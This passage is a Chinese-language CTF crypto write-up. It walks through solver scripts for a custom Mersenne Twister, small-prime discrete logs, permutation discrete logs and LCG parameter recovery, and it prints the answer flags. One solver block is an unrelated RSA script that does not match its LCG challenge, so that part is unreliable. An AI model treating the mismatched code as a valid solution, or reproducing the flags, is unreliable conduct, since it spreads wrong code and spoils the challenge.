    • 混淆: extract_number 方法从内部状态中取出一个数字,并对其进行一系列的位移和异或操作,这是标准的 Mersenne Twister 操作,但使用的常量和操作(y = y ^ y << 7 & 0x0d000721)是自定义的
    • 扭曲: twist 方法用于在状态用完时生成新的状态,这个过程也是 MT 算法的核心,它使用了自定义的参数(如 (i + 66) % 114 和魔数 0x0d000721
  3. 找到突破口:

    • 我们得到了一个 hint 列表,其长度为 114,正好等于 PRNG 的内部状态大小
    • hint 中的每一个数字都是从 PRNG 的内部状态 mt[i] 经过 extract_number 中的 tempering 操作后得到的
    • 如果我们能逆转这个 tempering 操作,我们就可以从 hint 恢复出 PRNG 在某个时刻的完整内部状态 mt
  4. 逆转Tempering操作:

    • extract_number 中的 tempering 过程如下:
      1. y = y ^ (y >> 11)
      2. y = y ^ ((y << 7) & 0x0d000721)
    • 我们需要按相反的顺序逆转这两个操作
    • 逆转操作2: z = y ^ ((y << 7) & 0x0d000721)。这是一个 z = y ^ (f(y)) 形式的操作。由于 y << 7y 的低7位没有受到影响,直接传递给了 z。我们可以利用这一点,从低位到高位,逐步恢复出原始的 y
    • 逆转操作1: z = y ^ (y >> 11)。这是一个更常见的 MT tempering 操作。y 的高11位直接传递给了 z。我们可以从高位到低位,逐步恢复出原始的 y
  5. 重建状态并预测未来:

    • 通过对 hint 列表中的每个数字执行 “untemper” 操作,我们可以得到 PRNG 的完整内部状态 mt 数组。
    • 一旦我们有了这个状态,我们就可以创建一个新的 MT19_937 实例,并将它的内部状态设置为我们恢复的状态。
    • 现在我们有了一个与原始 task 对象状态完全同步的 PRNG,我们可以调用它的 extract_number 方法来生成与原始脚本完全相同的后续随机数。
    • 调用它 11 次来生成 key 列表。
  6. 计算密钥并解密:

    • 根据原始脚本计算 x,即 key 列表中所有数字的乘积
    • 我们有了 xm^x,只需将它们再次异或即可得到 mm = (m^x) ^ x
    • 最后,将长整数 m 转换回字节串即可得到 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from Crypto.Util.number import long_to_bytes

def _int32(x):
return int(0xFFFFFFFF & x)

class MT19_937:
def __init__(self, seed):
self.mt = [0] * 114
self.mt[0] = seed
self.mti = 0
for i in range(1, 114):
self.mt[i] = _int32(1145141919 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)

def extract_number(self):
if self.mti == 0:
self.twist()

y = self.mt[self.mti]
y = y ^ y >> 11
y = y ^ y << 7 & 0x0d000721
self.mti = (self.mti + 1) % 114
return _int32(y)

def twist(self):
for i in range(0, 114):
y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % 114] & 0x8fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 66) % 114]

if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x0d000721

def untemper(y):
"""
逆转extract_number中的tempering操作
"""
# 逆转: y = y ^ (y << 7 & 0x0d000721)
# 我们从低位到高位逐位恢复
y_prime = 0
for i in range(32):
# 计算 y' << 7 & M 对当前位的影响
shifted_y_prime_bit = (y_prime >> (i - 7)) & 1 if i >= 7 else 0
mask_bit = (0x0d000721 >> i) & 1
xor_term_bit = shifted_y_prime_bit & mask_bit

# 恢复 y' 的当前位
y_bit = (y >> i) & 1
y_prime_bit = y_bit ^ xor_term_bit
y_prime |= (y_prime_bit << i)

# 逆转: y = y ^ (y >> 11)
# 从高位到低位逐位恢复
y_final = 0
for i in range(31, -1, -1):
# 计算 y >> 11 对当前位的影响
shifted_y_final_bit = (y_final >> (i + 11)) & 1 if i + 11 < 32 else 0

# 恢复 y_final 的当前位
y_prime_bit = (y_prime >> i) & 1
y_final_bit = y_prime_bit ^ shifted_y_final_bit
y_final |= (y_final_bit << i)

return _int32(y_final)

hint = ...
encrypted_m = ...

# 1. 从hint恢复PRNG的内部状态
recovered_state = [untemper(h) for h in hint]

# 2. 创建一个新的PRNG实例,并用恢复的状态覆盖它
solver_rng = MT19_937(seed=1)
solver_rng.mt = recovered_state
solver_rng.mti = 0 # 原始脚本生成hint后,mti会回到0

# 3. 生成密钥
key = [solver_rng.extract_number() for _ in range(11)]

# 4. 计算x
x = 1
for i in key:
x *= i

# 5. 解密得到m
m = encrypted_m ^ x

# 6. 将m转换回flag
flag = long_to_bytes(m)
print(flag.decode())

FLAG

1
flag{e9ef408f-feef-4732-b6d0-77d9813b8f9c}

[Cry]DLP

Challenge

用好题目和工具,解决这个离散对数问题吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
from math import prod
from sympy.ntheory.modular import crt


def prime_factors(n):# 一个工具函数,用于简单试除分解
res, d = [], 2
while d * d <= n:
while n % d == 0:
res.append(d)
n //= d
d += 1 if d == 2 else 2
if n > 1: res.append(n)
return res


def find_primitive_root(p):# 找模 p 的原根,什么是原根呢?去学习一下叭
phi = p - 1
facs = set(prime_factors(phi))#这里用到了工具函数
for g in range(2, p):
if all(pow(g, phi // q, p) != 1 for q in facs):
return g

def gen_dlp_with_flag(k, bit, flag):
primes, gens = [], []
for _ in range(k):
p = getPrime(bit)
primes.append(p)
gens.append(find_primitive_root(p))
N = prod(primes)

x = bytes_to_long(flag.encode())

ys = [pow(gens[i], x, primes[i]) for i in range(k)]

y, _ = crt(primes, ys)# 这行代码怎么感觉有点眼熟?

print("N =", N)
print("y =", y)

gen_dlp_with_flag(16, 32,"flag{?????????????????}")# bit=32? 好像不大诶

"""
N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947
y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918
"""

Solution

1. 问题分析

题目 gen_dlp_with_flag 的执行流程如下:

  1. 生成素数和原根:

    • 生成了 k=16 个 32-bit 的素数 p_i
    • 对于每个素数 p_i,找到了其最小的原根 g_i
  2. 加密 Flag:

    • flag 字符串转换为一个大整数 x
    • 对于每一对 (p_i, g_i),计算了 y_i = g_i^x mod p_i,这本质上是 16 个独立的离散对数问题
  3. 合并结果:

    • 使用中国剩余定理(CRT)将这 16 个 y_i 合并成一个唯一的解 y (模 N = p_0 * p_1 * ... * p_{15}
    • y 满足以下 congruence system:
      • y ≡ y_0 (mod p_0)
      • y ≡ y_1 (mod p_1)
      • y ≡ y_{15} (mod p_{15})
  4. 输出:

    • 最后脚本输出 Ny

2. 解题思路

我们的目标是根据给定的 Ny 来反推出 x,然后将 x 转换回 flag 字符串:

  1. 分解 N:

    • N 是 16 个 32-bit 素数的乘积。32-bit 的数非常小(最大约为 4 * 10^9),因此分解 N 是一件很容易的事情。我们可以在线工具 factordb.com 分解 N,得到所有的 p_i
  2. 恢复 y_i:

    • 根据中国剩余定理的性质,我们知道 y ≡ y_i (mod p_i)。因此对于我们分解出的每一个 p_i,我们可以通过 y_i = y % p_i 来计算出对应的 y_i
  3. 恢复 g_i:

    • 题目中的 find_primitive_root 函数是确定性的,它总是返回模 p 的最小原根,因此我们可以对分解出的每个 p_i 运行完全相同的 find_primitive_root 函数,从而得到与加密时完全相同的 g_i
  4. 解决离散对数问题 (DLP):

    • 现在,对于每一组 (p_i, g_i, y_i),我们都有一个离散对数问题:求解 x 使得 g_i^x ≡ y_i (mod p_i)
    • 由于 p_i 是 32-bit 的小素数,解决这个 DLP 非常快。我们可以使用 SymPy 库中的 discrete_log 函数,或者Pohlig-Hellman算法,甚至是暴力搜索。
    • 解出 x 之后需要注意解是在模 phi(p_i) = p_i - 1 的意义下的,也就是说我们得到的是一系列关于 x 的同余方程:x ≡ x_i (mod p_i - 1)
  5. 再次使用 CRT:

    • 我们现在有了一个新的同余方程组:
      • x ≡ x_0 (mod p_0 - 1)
      • x ≡ x_1 (mod p_1 - 1)
      • x ≡ x_{15} (mod p_{15} - 1)
    • 这里的模数是 p_i - 1,它们很可能不是互素的。
    • 使用 crt 解决这个方程组我们就能得到唯一的 x(模这些 p_i-1 的最小公倍数)。
  6. 恢复 Flag:

    • 最后,将解出的整数 x 使用 long_to_bytes 函数转换回字节串,即可得到 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
from sympy.ntheory import discrete_log

def prime_factors(n):
res, d = [], 2
while d * d <= n:
while n % d == 0:
res.append(d)
n //= d
d += 1 if d == 2 else 2
if n > 1: res.append(n)
return res

def find_primitive_root(p):
phi = p - 1
facs = set(prime_factors(phi))
for g in range(2, p):
if all(pow(g, phi // q, p) != 1 for q in facs):
return g

N = 309188900849282292730996572442105319804517021637303572285568169372827724672013943204807085606291832819055916540180210625660012888515667353984324438526947
y = 260785984269183342143040042876301128691169473526814133757612160538721419207138445246818874092343133346101040420148945804080352598475162932165207050154918

# 2. 直接使用从 factordb 得到的素数因子
primes = [
2481237547,
2487508979,
2557860853,
2837710741,
3293759039,
3442901711,
3447513169,
3464552989,
3558226703,
3581088491,
3693733493,
3733635179,
3873215351,
4114877281,
4256756369,
4273885003
]

remainders = [] # 用来存储每个 DLP 的解 x_i
moduli = [] # 用来存储每个同余方程的模 p_i - 1

for p in primes:
# 恢复 y_i
y_i = y % p

# 恢复 g_i
g_i = find_primitive_root(p)

# 解决离散对数问题 g_i^x ≡ y_i (mod p_i)
# 解是模 p_i - 1 的
x_i = discrete_log(p, y_i, g_i)

remainders.append(x_i)
moduli.append(p - 1)

# 使用中国剩余定理求解同余方程组
x, _ = crt(moduli, remainders)

flag = long_to_bytes(int(x))
print(flag.decode())

FLAG

1
flag{D0_y0u_lik3_4i5cr3te_1og@rit6m?}

[Cry]置换DLP

Challenge

给定对称群S_n和其两个元素(也就是置换)g,h,求x满足g自己复合x次得到h。 例: 输出: S_3 (1 2 3 ) (1 3 2) 输入: 2 因为: (1 2 3 )(1 2 3 )=(1 3 2)=(1 2 3)^2

Solution

这个问题的核心是计算 g 的幂,直到找到 h。这是一个典型的“Meet-in-the-middle”或“Baby-step giant-step”算法可以优化的场景,但对于CTF中常见的 n(通常不会太大),直接的暴力搜索(迭代计算 g^x)是最高效且最容易实现的。

  1. 表示置换: 使用一个字典来表示一个置换。例如,在 S_7 中,置换 (1 5) (2 6) 意味着 1->5, 5->1, 2->6, 6->2,其他数字不变。我们可以用字典 {1:5, 2:6, 3:3, 4:4, 5:1, 6:2, 7:7} 来表示。
  2. 解析输入: 写一个函数,将字符串 "(1 5) (2 6) (3 4 7)" 解析成我们内部的字典表示。
  3. 置换复合 (乘法): 实现两个置换的复合操作。如果 p1p2 是两个置換,那么复合 p1 * p2 作用于 i 的结果是 p1(p2(i))
  4. 计算阶 (Order): 一个置换 g 的阶 ord(g) 是使得 g^k 等于单位置换(所有元素不变)的最小正整数 kord(g)g 的所有不相交循环的长度的最小公倍数 (LCM)。这是我们搜索 x 的上限。
  5. 迭代搜索:
    • x = 0 开始,计算 g^0 (单位置换)。
    • 循环计算 g^1, g^2, g^3, ... 直到 g^{ord(g)-1}
    • 在每一步,检查当前的 g^x 是否等于 h
    • 如果找到匹配,x 就是答案。
    • 如果循环结束仍未找到,则说明 h 不在 g 生成的循环子群中,无解。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import re
import math
from functools import reduce

def gcd(a, b):
"""计算最大公约数"""
return math.gcd(a, b)

def lcm(a, b):
"""计算最小公倍数"""
if a == 0 or b == 0:
return 0
return abs(a * b) // gcd(a, b)

def lcm_list(numbers):
"""计算一个列表的最小公倍数"""
return reduce(lcm, numbers)

class Permutation:
def __init__(self, n: int, cycles_str: str = ""):
"""
根据 S_n 和轮换表示法字符串初始化置换
:param n: 对称群 S_n 的 n
:param cycles_str: 轮换表示法字符串, e.g., "(1 5) (2 6)"
"""
self.n = n
# 初始化为单位置换: i -> i
self.mapping = {i: i for i in range(1, n + 1)}
self._parse_cycles(cycles_str)

def _parse_cycles(self, cycles_str: str):
"""从字符串解析轮换并更新映射"""
if not cycles_str:
return
# 使用正则表达式找到所有括号内的内容
cycles = re.findall(r'\((.*?)\)', cycles_str)
for cycle_content in cycles:
nums = [int(x) for x in cycle_content.strip().split()]
if len(nums) > 1:
# e.g., (3 4 7) means 3->4, 4->7, 7->3
for i in range(len(nums) - 1):
self.mapping[nums[i]] = nums[i+1]
self.mapping[nums[-1]] = nums[0]

def __mul__(self, other):
"""
置换的复合 (p1 * p2)(i) = p1(p2(i))
"""
if self.n != other.n:
raise ValueError("Permutations must be from the same symmetric group S_n")

new_mapping = {i: self.mapping[other.mapping[i]] for i in range(1, self.n + 1)}

# 创建一个新的Permutation对象返回
new_perm = Permutation(self.n)
new_perm.mapping = new_mapping
return new_perm

def __pow__(self, k: int):
"""计算置换的幂 g^k"""
if k < 0:
raise ValueError("Power must be a non-negative integer")
if k == 0:
return Permutation(self.n) # 返回单位置换

res = self
for _ in range(k - 1):
res = res * self
return res

def __eq__(self, other):
"""判断两个置换是否相等"""
return self.n == other.n and self.mapping == other.mapping

def __str__(self):
"""返回置换的映射表示,方便调试"""
return str(self.mapping)

def get_order(self) -> int:
"""
计算置换的阶 (order)
阶是所有不相交循环长度的最小公倍数
"""
visited = set()
cycle_lengths = []
for i in range(1, self.n + 1):
if i not in visited:
# 发现一个新的循环
current_cycle_len = 0
j = i
while j not in visited:
visited.add(j)
j = self.mapping[j]
current_cycle_len += 1

if current_cycle_len > 1:
cycle_lengths.append(current_cycle_len)

if not cycle_lengths:
return 1 # 单位元

return lcm_list(cycle_lengths)

def solve_permutation_dlp(n, g_str, h_str):
"""
解决置换离散对数问题 g^x = h
"""
g = Permutation(n, g_str)
h = Permutation(n, h_str)

# 计算 g 的阶,作为搜索的上界
g_order = g.get_order()

# current_g_power 初始化为 g^0 (单位元)
current_g_power = Permutation(n)

for x in range(g_order):
# 检查 g^x 是否等于 h
if current_g_power == h:
return x

# 计算下一个幂: g^(x+1) = g^x * g
current_g_power = current_g_power * g

# 如果循环结束还没找到,则无解
return "no"

if __name__ == "__main__":
n1 = 10
g1_str = "(1 7 10 2 5) (3 6) (4 8)"
h1_str = "(1 7 10 2 5)"

print(solve_permutation_dlp(n1, g1_str, h1_str))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
=== Permutation Discrete Log Challenge ===
Find x such that g^x = h (0 <= x < ord(g)), or print 'no' if no solution.
5 rounds total. One round has no solution.

Round 1/5
S_5
(1 3 4 5 2) (1 5 3 2 4)
Your answer: 3
Correct!

Round 2/5
S_11
(1 4 8 6 11 5) (2 9 10) (3 7) (1 6 2 4 10 5 7) (3 8 9)
Your answer: no
Correct!

Round 3/5
S_11
(1 4) (2 3) (5 11 10) (6 7 9 8) (1 4) (2 3) (5 10 11) (6 8 9 7)
Your answer: 11
Correct!

Round 4/5
S_12
(1 5 10 12 3 11 7 6 8) (2 9) (1 3 8 12 6 10 7 5 11)
Your answer: 4
Correct!

Round 5/5
S_10
(1 7 10 2 5) (3 6) (4 8) (1 7 10 2 5)
Your answer: 6
Correct!

Congratulations! Your flag: flag{D15cR3t3_lo94R1tHM__8Ut_1n_p3RmuT4T1on_9rOUp2__1t_c3RT41nlY_WO'Nt_83_D1fF1cuLt_4_U!}

FLAG

1
flag{D15cR3t3_lo94R1tHM__8Ut_1n_p3RmuT4T1on_9rOUp2__1t_c3RT41nlY_WO'Nt_83_D1fF1cuLt_4_U!}

[Cry]随机数之旅1.3

Challenge

最旧最冷配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import uuid
from Crypto.Util.number import *
import random

flag="flag{"+str(uuid.uuid4())+"}"
m=bytes_to_long(flag.encode())

p=getPrime(m.bit_length()+3)
a=getPrime(p.bit_length())

print("p=",p)

hint=[random.randint(1,p-1),]

for i in range(10):
hint.append((a*hint[-1]+m)%p)

print(hint)

"""
p= 478475545597700801137542329947268027178596565166277501475984783168264336204134464479893480035711325623
[249919247565764496968024420668100990050724930264873012553221627994767139138419916559737152956192938786, 341098538517870638403021803297435486563954299904421591195678329627022088404800269966659959073623486227, 20018219100052262465673657639106096626775270934552714906385093540517665089433306304783945869390965352, 477110987927537932362183022083084081803652185884243696031637228688890267574215943741789667631285188517, 316109317526042308856009312339591028959770431193022541894694590723163440242617594274841279773268292931, 288838512929949193288464156452590499193348618769922838206940876596503314942400180385295933551444987426, 181266945000896484248052902194760405660042158622313374086868842724033187572461235292532472052806294610, 363891817161955280083221864938995130581363107122643810787521989924285652140760869565757181912307151144, 176158258425616548246181359314308658522975855113878838400631572536985398273419876407488652665740506588, 226304243444318985869957901105733987782986057182483943969163921743774283862329285859875298207849486395, 235563126973016483026307105002236457145848856279569924823679216801904771557144382780782533443602319128]

"""

Solution

题目用 LCG 算法来隐藏信息,LCG 的基本形式是:

X_{n+1} = (a * X_n + c) % m

在题目中:

  • X_n 对应 hint 列表中的前一个元素 hint[-1]
  • a 是一个未知的素数
  • c 是我们想要恢复的明文 m (flag 的整数形式)
  • m (模数) 是一个大素数 p

所以,hint 列表的生成规则是 hint[i] = (a * hint[i-1] + m) % p

脚本输出了素数 p 和整个 hint 列表,列表中有 11 个元素 (hint[0]hint[10]),我们拥有足够的信息来解出未知的 am

我们有两个未知数(am),只需要建立一个包含这两个未知数的方程组即可求解

hint 列表中取出连续的三项(例如 hint[0], hint[1], hint[2]),根据生成规则可以列出以下两个方程:

  1. hint[1] = (a * hint[0] + m) % p
  2. hint[2] = (a * hint[1] + m) % p

这是一个模 p 意义下的二元一次方程组,可以通过消元法求解

第一步:消去 m

将方程2减去方程1:
(hint[2] - hint[1]) = (a * hint[1] + m) - (a * hint[0] + m) (mod p)
(hint[2] - hint[1]) = a * hint[1] - a * hint[0] (mod p)
(hint[2] - hint[1]) = a * (hint[1] - hint[0]) (mod p)

第二步:求解 a

(hint[1] - hint[0]) 除到等式左边:
a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p)

这里的 inverse(x, p) 是求 x 在模 p 意义下的逆元。

第三步:求解 m

计算出 a 就可以把它代入第一个方程求解 m
hint[1] = (a * hint[0] + m) (mod p)
m = (hint[1] - a * hint[0]) (mod p)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from Crypto.Util.number import *
import math

# ========================= 请在此处粘贴所有参数 =========================

# --- par1 输出 ---
list = ...
n1 = ...
c1 = ...

# --- par2 输出 ---
n2 = ...
hint1 = ...
hint2 = ...
hint3 = ...
c2 = ...

# ========================================================================

# 公共指数
e = 65537

# ========================= Part 1: 解密 m1 =========================

print("[*] 开始解密 Part 1...")

# 从 n1 和素数列表 list 中恢复每个素数的指数
factors = {}
temp_n1 = n1
for p in list:
if p == 0: continue # 防止列表未填充时出错
count = 0
while temp_n1 % p == 0:
temp_n1 //= p
count += 1
factors[p] = count

print(f" 成功从 n1 中分解出素数及其指数: {factors}")

# 计算 phi(n1)
# phi(p^k) = p^(k-1) * (p-1)
phi_n1 = 1
for p, t in factors.items():
phi_n1 *= (p**(t-1) * (p-1))

# 计算私钥 d1
d1 = inverse(e, phi_n1)

# 解密 m1
m1 = pow(c1, d1, n1)
flag1 = long_to_bytes(m1)

print(f"[*] Part 1 解密成功!")
print(f" flag_part1 = {flag1.decode()}")
print("-" * 50)


# ========================= Part 2: 解密 m2 =========================

print("[*] 开始解密 Part 2...")

# 利用 hint2 和 c2 求出 r2
# 因为 hint2 ≡ m (mod r2), c2 ≡ m^e (mod r2)
# 所以 c2 - hint2^e ≡ 0 (mod r2)
# 因此 r2 是 gcd(c2 - pow(hint2, e, n2), n2) 的一个因子(在此题中就是r2本身)
temp_val = (c2 - pow(hint2, e, n2)) % n2
r2 = GCD(temp_val, n2)

# 计算 p2*q2
p2q2 = n2 // r2

# 利用 hint3 = p2+q2 和 p2q2 来求解 p2, q2
# 解一元二次方程 x^2 - (p2+q2)x + p2q2 = 0
S = hint3 # p2 + q2
P = p2q2 # p2 * q2
delta = S*S - 4*P

if delta < 0:
print("[!] Part 2 出错:无法分解 p2 和 q2 (delta < 0)")
else:
sqrt_delta = math.isqrt(delta)
if sqrt_delta * sqrt_delta != delta:
print("[!] Part 2 出错:无法分解 p2 和 q2 (delta 不是完全平方数)")
else:
p2 = (S + sqrt_delta) // 2
q2 = (S - sqrt_delta) // 2

# 验证分解是否正确
if p2 * q2 * r2 == n2:
print(f"[*] Part 2 分解 n2 成功!")
print(f" p2 = {p2}")
print(f" q2 = {q2}")
print(f" r2 = {r2}")

# 计算 phi(n2)
phi_n2 = (p2 - 1) * (q2 - 1) * (r2 - 1)

# 计算私钥 d2
d2 = inverse(e, phi_n2)

# 解密 m2
m2 = pow(c2, d2, n2)
flag2 = long_to_bytes(m2)

print(f"[*] Part 2 解密成功!")
print(f" flag_part2 = {flag2.decode()}")

# ========================= 合并 Flag =========================
final_flag = flag1 + flag2
print("\n" + "="*50)
print(f"[*] 最终 Flag: {final_flag.decode()}")
print("="*50)
else:
print("[!] Part 2 出错:分解出的素数不正确")
1
2
3
[*] 成功恢复 a = 50284842668591874286962530711840222441575267222168631627346628930023136944986518242285511306089960820
[*] 成功恢复 m = 56006392793404655267378720287852889657414284998868764462910938534621596708891257276260697910394696061
flag{3ea753dc-8d46-41f7-b4a6-e828c0253831}

FLAG

1
flag{3ea753dc-8d46-41f7-b4a6-e828c0253831}

[Cry]随机数之旅1.9

Challenge

最旧最冷配置pro max

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import uuid
from Crypto.Util.number import *
import random

flag="flag{"+str(uuid.uuid4())+"}"
m=bytes_to_long(flag.encode())

p=getPrime(m.bit_length()+3)
a=getPrime(p.bit_length())


hint=[random.randint(1,p-1),]

for i in range(15):
hint.append((a*hint[-1]+m)%p)

print(hint)

"""
[207815833858860472630525746720294722862686098236015762403351705374683468788325370179356514749526876950, 211015979308620411696525425095777275753476560571747569104626146643460892934355111246007348590054728278, 154982921170646039127386113914327168037474092849926050668784589159876343568545829713567339881566128774, 14301447927625534901480862591544923748585828474154787997664067408999800058813140550333919836238991874, 274602491551514790133598749654877237076653637818520480950523811116227833787921484758457209356323726695, 170369781650509946447172258827489337909221053707541176039704241960102824673107536295921548339896943064, 199159531778559581852282705906428311276685520954787407093495692307498420437271623202700142459262344361, 152127625735448140599545820146663204043528582114006890378053333070292552669943282154992607592819602345, 258118974363253374610905261929872690383062999526270455540048172948029807006984567635623967904079172525, 83791161992040915418707637123797436818204732030321155500557330793843135987740494961151450687354553588, 240283309715668400040909429066350841404133576389215959280394956765762171700654715262676050019779801415, 38842976594694523258855648781570648918799284259234846435828069057016223394465201311284210539158742069, 112124551443162148461799084208953311502063130294653691708825709872287471313112327095490868557801413814, 130493216949781764571166990014451012680060230560283908734192439983915035889157778838781734918556337718, 257057021216255933786617119107267370802049994234255480193196121654281929053027702977268758326889526999, 50825978665892428834553479141064382082596923815786131694407281600281500668374124718717621345592142201]
"""

Solution

LCG 参数恢复问题

这次只得到了 hint 列表,我们有三个未知数:

  1. a (乘数)
  2. m (增量,即 flag)
  3. p (模数)

生成规则依然是:
hint[i] = (a * hint[i-1] + m) % p

我们需要分步恢复这些未知数,关键在于首先找到模数 p

第一步:消除 m

和上次一样,我们可以通过做差来消除 m
hint[i] - hint[i-1] = a * (hint[i-1] - hint[i-2]) (mod p)

定义一个新的序列 d[i] = hint[i+1] - hint[i],那么上面的关系可以写成 d[i] = a * d[i-1] (mod p)

这说明序列 d 是一个模 p 意义下的等比数列

第二步:消除 a 并找到 p

现在我们有了关系 d[i] = a * d[i-1] (mod p),我们可以用这个关系来消除 a
d[1] = a * d[0] (mod p)d[2] = a * d[1] (mod p) 得到:
a = d[1] * inverse(d[0], p) (mod p)
a = d[2] * inverse(d[1], p) (mod p)

所以 d[1] * inverse(d[0], p) = d[2] * inverse(d[1], p) (mod p)

两边同时乘以 d[0] * d[1] 得到 d[1]^2 = d[2] * d[0] (mod p)

这说明了 d[1]^2 - d[2] * d[0] 的结果必须是 p 的倍数

我们可以对序列 d 中的任意连续三项 d[i-1], d[i], d[i+1] 应用这个逻辑,得到 d[i]^2 - d[i+1] * d[i-1] 必须是 p 的倍数

由于 p 是所有这些表达式的公约数,那么 p 也必然是它们的最大公约数的一个因子

因为 p 是一个大素数,它很可能就是这个 GCD 本身(或者 GCD 的绝对值)

算法流程:

  1. 根据 hint 列表计算差分序列 d,其中 d[i] = hint[i+1] - hint[i]
  2. 利用序列 d 计算一系列 p 的倍数,例如计算 T_i = d[i+1]^2 - d[i+2] * d[i]
  3. 计算所有这些 T_i 值的最大公约数 G = gcd(T_0, T_1, T_2, ...)
  4. 恢复的模数 p 就是 abs(G)
  5. 一旦 p 被恢复,问题就退化成了上一个题目,然后就可以用同样的方法来恢复 am

第三步:恢复 am

现在我们知道了 p,就可以像上一个题目一样:

  1. a: a = (hint[2] - hint[1]) * inverse(hint[1] - hint[0], p) (mod p)
  2. m: m = (hint[1] - a * hint[0]) (mod p)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import math
from Crypto.Util.number import long_to_bytes

hint = ...

# --- 1. 恢复模数 p ---

# 计算差分序列 d[i] = hint[i+1] - hint[i]
d = [hint[i+1] - hint[i] for i in range(len(hint) - 1)]

# 计算 p 的倍数 T_i = d[i+1]^2 - d[i+2]*d[i]
multiples_of_p = []
for i in range(len(d) - 2):
term = d[i+1]**2 - d[i+2] * d[i]
multiples_of_p.append(term)

# 计算这些倍数的最大公约数
g = multiples_of_p[0]
for i in range(1, len(multiples_of_p)):
g = math.gcd(g, multiples_of_p[i])

# p 就是 GCD 的绝对值
p = abs(g)
print(f"[*] 成功恢复 p = {p}")

# --- 2. 恢复乘数 a ---
h0, h1, h2 = hint[0], hint[1], hint[2]

# a = (h2 - h1) * inverse(h1 - h0, p) mod p
diff_h1_h0 = (h1 - h0) % p
diff_h2_h1 = (h2 - h1) % p

inv_diff = pow(diff_h1_h0, -1, p)
a = (diff_h2_h1 * inv_diff) % p
print(f"[*] 成功恢复 a = {a}")

# --- 3. 恢复增量 m (flag) ---
# m = (h1 - a * h0) mod p
m = (h1 - (a * h0)) % p
print(f"[*] 成功恢复 m = {m}")

# --- 4. 解码 Flag ---
flag_bytes = long_to_bytes(m)
flag = flag_bytes.decode('utf-8')
print(flag)
1
2
3
4
[*] 成功恢复 p = 280850935843921831854086310440676685065750764735757538361697628591000158614408642674982565414740868673
[*] 成功恢复 a = 204196471214096796071122233870504038461030399942935941771930578997515923491755381980140682166507542100
[*] 成功恢复 m = 56006392793405548547240246040861511328807235602304063996643240454538445236513861254332522594065343869
flag{513a05ef-ca04-4e94-af25-a893da4221fe}

FLAG

1
flag{513a05ef-ca04-4e94-af25-a893da4221fe}

[Cry]运气与实力

Challenge

参数:2^24;514

Solution

本题和 Week 3 的 Crypto-欧皇的生日 相关,Crypto-欧皇的生日 的题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
from secret import flag

m = 2**22
a = random.randint(1, m-1)
b = random.randint(1, m-1)
c = random.randint(1, m-1)

def Hash(x):
return (a*x**2 + b*x + c) % m

print("Find a collision: give me two different numbers x1, x2 with Hash(x1)=Hash(x2).")
print("Input Format: x1 x2")

cnt = 0
while cnt < 5000:
data = input(":").strip().split()
if len(data) != 2:
print("Need two numbers!")
continue
try:
x1, x2 = map(int, data)
except:
print("Invalid input")
continue

cnt += 1
x1 %= m
x2 %= m
if x1 != x2 and Hash(x1) == Hash(x2):
print(flag)
break
else:
print("x")
print(Hash(x1),Hash(x2))
Crypto-欧皇的生日 题解:

1. 题目信息

  • 哈希函数: Hash(x) = (a*x**2 + b*x + c) % m
  • 模数 (Modulus): m = 2**22
  • 未知数: a, b, c 是在 1m-1 之间随机生成的整数。
  • 目标: 找到两个不相等的整数 x1x2,使得 Hash(x1) = Hash(x2)

2. 数学推导 (寻找碰撞条件)

我们的目标是让等式成立:
Hash(x1) ≡ Hash(x2) (mod m)

将哈希函数代入:
a*x1² + b*x1 + c ≡ a*x2² + b*x2 + c (mod m)

首先,等式两边的 c 可以直接消掉:
a*x1² + b*x1 ≡ a*x2² + b*x2 (mod m)

移项,将含有 ab 的项分别合并:
